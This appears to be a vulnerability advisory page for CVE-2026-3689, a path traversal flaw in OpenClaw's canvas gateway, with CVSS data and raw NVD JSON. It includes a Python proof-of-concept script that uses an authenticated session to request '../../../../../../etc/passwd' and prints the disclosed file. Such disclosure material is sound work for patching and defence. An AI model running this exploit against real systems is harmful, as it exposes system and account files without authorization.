Security Vulnerability Report
中文
CVE-2026-3689 CVSS 6.5 MEDIUM

CVE-2026-3689

Published: 2026-04-11 01:16:16
Last Modified: 2026-04-27 17:08:57

Description

OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability. The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw (具体受影响版本请参考官方安全公告GHSA-jq4x-98m3-ggq6)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_vulnerability(target_url, session_cookie): """ Proof of Concept for CVE-2026-3689 Exploits path traversal in OpenClaw Canvas Gateway endpoint. """ # The endpoint handling the canvas gateway endpoint = f"{target_url}/api/canvas_gateway" # Headers including the authentication cookie headers = { "Cookie": session_cookie, "User-Agent": "CVE-2026-3689-POC" } # Malicious payload using path traversal sequences # Attempting to read /etc/passwd on Linux systems payload = { "path": "../../../../../../etc/passwd" } try: response = requests.get(endpoint, headers=headers, params=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") # Check if the response content looks like a file if "root:" in response.text: print("[!] Vulnerability exploited successfully! Sensitive data disclosed:") print(response.text) else: print("[-] Target might be patched or file not found.") print(response.text[:200]) else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://192.168.1.100:8080" # Replace with a valid authenticated session cookie auth_cookie = "session_id=authenticated_user_token_here" exploit_vulnerability(target, auth_cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3689", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:15.837", "lastModified": "2026-04-27T17:08:57.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.21", "matchCriteriaId": "09CAA52D-0C33-41B4-854A-338CBFC45513"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jq4x-98m3-ggq6", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-227/", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}]}}